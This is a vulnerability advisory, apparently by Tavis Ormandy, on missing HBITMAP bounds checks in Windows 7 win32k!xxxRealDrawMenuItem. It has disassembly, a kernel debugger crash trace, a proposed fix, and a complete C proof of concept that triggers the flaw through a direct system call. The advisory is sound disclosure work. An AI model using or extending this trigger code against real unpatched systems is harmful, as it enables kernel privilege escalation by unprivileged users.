Microsoft Windows – Win32k!xxxRealDrawMenuItem() Missing HBITMAP Bounds Checks
Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks ---------------------------------------------------------------------------- Microsoft produce two builds of each of thier supported operating system, a checked build and a free build. The free build is intended for end users, and the checked build is intended for low-level developers (note: you would know if you were using the checked build). The primary difference between the checked and free builds are compiler settings more conducive to debugging and additional runtime checks intended to identify programming errors in drivers as early as possible. Many of the runtime checks absent from the free build take the form of assertions, similar to the standard assert() macro (c programmers will recognise this as similar to defining NDEBUG). Most security researchers know it's common to find locations in large codebases where developers use an assertion to handle error conditions, forgetting that these checks are compiled out of production code. On a hunch, I browsed the assertion strings in the checked build looking for anything that could be a bounds check, and found a candidate in win32k.sys from Windows 7. .text:BF8B83D7 loc_BF8B83D7: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+13Dj .text:BF8B83D7 push offset asc_BFA98BB0 ; "Assertion failed: (pItem->hbmp >= HBMME"... .text:BF8B83DC push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem" .text:BF8B83E1 push 601h ; int .text:BF8B83E6 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"... .text:BF8B83EB push 1000000h ; int .text:BF8B83F0 push ebx ; int .text:BF8B83F1 call _VRipOutput .text:BF8B83F6 add esp, 18h .text:BF8B83F9 test eax, eax .text:BF8B83FB jz short loc_BF8B83FE .text:BF8B83FD int 3 ; Trap to Debugger And additionally, .text:BF8B83FE loc_BF8B83FE: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+142j .text:BF8B83FE ; xxxRealDrawMenuItem(x,x,x,x,x,x)+168j .text:BF8B83FE mov edi, [esi+40h] .text:BF8B8401 add edi, 4Fh .text:BF8B8404 cmp edi, 5Dh .text:BF8B8407 jb short loc_BF8B8430 .text:BF8B8409 push offset asc_BFA98B74 ; "Assertion failed: wBmp < OBI_COUNT" .text:BF8B840E push offset aXxxrealdrawmen ; "xxxRealDrawMenuItem" .text:BF8B8413 push 604h ; int .text:BF8B8418 push offset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"... .text:BF8B841D push 1000000h ; int .text:BF8B8422 push ebx ; int .text:BF8B8423 call _VRipOutput .text:BF8B8428 add esp, 18h .text:BF8B842B test eax, eax .text:BF8B842D jz short loc_BF8B8430 .text:BF8B842F int 3 ; Trap to Debugger With these tests compiled out, you can pass a pathological HBITMAP and it gets trusted without validation. The HBITMAP here is used as an index into gpsi->oembmi[] (of type tagSERVERINFO in the public symbols, I assume gpsi is global pointer to server info). Reaching this code was non-trivial, but I found a way to trigger it reliably. kd> .lastevent Last event: Access violation - code c0000005 (!!! second chance !!!) debugger time: Mon Mar 8 23:10:15.892 2010 (GMT+1) kd> kv ChildEBP RetAddr Args to Child 981915f4 92b8d4d4 f10105c8 00000002 0000008c win32k!xxxRealDrawMenuItem+0x130 (FPO: [6,47,4]) 981916a4 92adb609 f10105c8 0110007c 981916ec win32k!xxxDrawState+0x1cd (FPO: [8,33,4]) 98191710 92adbdaf f10105c8 fe607468 00000000 win32k!xxxDrawMenuItem+0x3b4 (FPO: [5,14,4]) 9819177c 92bfb448 f10105c8 00000001 fe607920 win32k!xxxMenuDraw+0x1f9 (FPO: [3,17,4]) 981917d4 92b059b8 00000016 f10105c8 00000003 win32k!xxxMenuBarDraw+0x1b9 (FPO: [4,14,4]) 981917fc 92b3b694 0000100c 00000001 00000000 win32k!xxxDWP_DoNCActivate+0xc7 (FPO: [3,1,4]) 98191878 92b02b92 fe607920 00000086 00000001 win32k!xxxRealDefWindowProc+0x7fa (FPO: [SEH]) 9819189c 92b54859 fe607920 00000086 00000001 win32k!xxxDefWindowProc+0x10f (FPO: [4,0,4]) 981918dc 92b546a4 fe607920 00000086 00000001 win32k!xxxSendMessageTimeout+0x1ac (FPO: [8,7,4]) 98191904 92b1728b fe607920 00000086 00000001 win32k!xxxSendMessage+0x28 (FPO: [4,0,0]) 9819197c 92b095c1 00000000 00000c88 00000001 win32k!xxxActivateThisWindow+0x473 (FPO: [3,21,0]) 981919e4 92b091aa fe607920 fe5ad928 00000000 win32k!xxxSetForegroundWindow2+0x3d7 (FPO: [3,18,4]) 98191a24 92b17770 fe607920 00000001 fe5ad928 win32k!xxxSetForegroundWindow+0x1e4 (FPO: [2,8,4]) 98191a50 92b17537 00000000 00000001 fe600618 win32k!xxxActivateWindow+0x1b3 (FPO: [2,4,4]) 98191a64 92afd9dd fe607920 00000000 fe607920 win32k!xxxSwpActivate+0x44 (FPO: [1,0,0]) 98191abc 92b02c98 00000000 fe607920 00000000 win32k!xxxEndDeferWindowPosEx+0x278 (FPO: [2,16,4]) 98191adc 92b2c50e fe607920 00000000 00000000 win32k!xxxSetWindowPos+0xf6 (FPO: [7,1,4]) 98191b18 92b23b0d 00000000 00000005 0ad06a7a win32k!xxxShowWindow+0x25a (FPO: [2,3,4]) 98191c30 92b210b6 00080000 ff9d1d28 fe607250 win32k!xxxCreateWindowEx+0x12ed (FPO: [SEH]) 98191cf0 8285342a 80080000 98191cc0 98191cb4 win32k!NtUserCreateWindowEx+0x2a8 (FPO: [SEH]) kd> vertarget Windows 7 Kernel Version 7600 MP (1 procs) Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 7600.16385.x86fre.win7_rtm.090713-1255 Machine Name: Kernel base = 0x82810000 PsLoadedModuleList = 0x82958810 Debug session time: Mon Mar 8 23:10:12.438 2010 (GMT+1) System Uptime: 0 days 0:04:07.341 Interestingly, the win32 api required to reach the code (SetMenuItemInfo) interferes and rejects my call, so I must make the system call directly. This is complicated, as Microsoft provide no stub export in ntdll, so I have to invoke it manually. Maybe there's a cleaner way. Because of the additional information compiled into the assertion, I have lots of data about the failing code, including the variable names and filename. Therefore, I know the correct fix is to verify (pItem->hbmp >= HBMMENU_POPUPFIRST) && (pItem->hbmp <= HBMMENU_POPUPLAST) before line 1537 of \w7rtm\windows\core\ntuser\kernel\mndraw.c :-) I suspect there may be more assertions that should be checked, but haven't looked at them all. -------------------- Affected Software ------------------------ At least Microsoft Windows 7 is affected. -------------------- Consequences ----------------------- An unprivileged user may be able to execute arbitrary kernel code, perhaps escaping protected mode, or becoming an Administrator, for example. Example code to trigger this vulnerability is available below. #ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS // I prefer working with ntstatus.h #endif #include <windows.h> #include <assert.h> #include <stdio.h> #include <winerror.h> #include <winternl.h> #include <stddef.h> #include <winnt.h> #include <uxtheme.h> #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include <ntstatus.h> #pragma comment(lib, "GDI32") #pragma comment(lib, "USER32") #pragma comment(lib, "UXTHEME") #ifndef MFS_CACHEDBMP # define MFS_CACHEDBMP 0x20000000L #endif // Linux style :-) // // kd> dds win32k!W32pServiceTable + ((0x1256 - 0x1000) * 4) L1 // 92c95958 92b2d294 win32k!NtUserThunkedMenuItemInfo // #define __NR_NtUserThunkedMenuItemInfo 0x1256 // Quick utility routine to execute a systemcall with the specified argument list. NTSTATUS SystemCall(DWORD Number, PVOID Args, ...) { NTSTATUS Status; __try { __asm { mov eax, Number lea edx, Args int 0x2e mov Status, eax } } __except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } return Status; } // kd> lm mwin32k // start end module // 92a90000 92cda000 win32k // kd> dt tagSERVERINFO oembmi // win32k!tagSERVERINFO // +0x970 oembmi : [93] tagOEMBITMAPINFO // kd> dt tagOEMBITMAPINFO // win32k!tagOEMBITMAPINFO // +0x000 x : Int4B // +0x004 y : Int4B // +0x008 cx : Int4B // +0x00c cy : Int4B int main(int argc, char **argv) { MENUITEMINFO MenuItemInfo = { sizeof MenuItemInfo }; WNDCLASS Class = {0}; HMENU Menu; BITMAPINFO Bitmap; Menu = CreateMenu(); Class.lpfnWndProc = DefWindowProc; Class.lpszClassName = "Class"; MenuItemInfo.fMask = MIIM_BITMAP | MIIM_STATE; MenuItemInfo.fState = MFS_CACHEDBMP; MenuItemInfo.hbmpItem = (HBITMAP) 0x12345678; // Register Window Class RegisterClass(&Class); // Possibly disable themes for current session if (IsThemeActive()) { EnableTheming(FALSE); } // This should work, but some ring3 code interferes. // SetMenuItemInfo(Menu, 1, TRUE, &MenuItemInfo); // Call NtUserThunkedMenuItemInfo() directly instead. SystemCall(__NR_NtUserThunkedMenuItemInfo, Menu, 1, TRUE, TRUE, &MenuItemInfo, NULL); // Trigger the bug CreateWindowEx(WS_EX_LAYERED, "Class", "Window", WS_VISIBLE, 0, 0, 32, 32, NULL, Menu, NULL, NULL); return 0; } ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- $1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/ $1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1. $1$IPYBMipO$/HhHCPgulV/E0pgSvU1710 $1$ULymMO9x$NVMLjZe8i25ajEfnsRowA. $1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi. And all the other elite people I've worked with (sorry, too many to generate!). ------------------- Notes ----------------------- Approximate time to fix was 150 days. ------------------- References ----------------------- - http://msdn.microsoft.com/en-us/library/ms648001%28VS.85%29.aspx SetMenuItemInfo Function |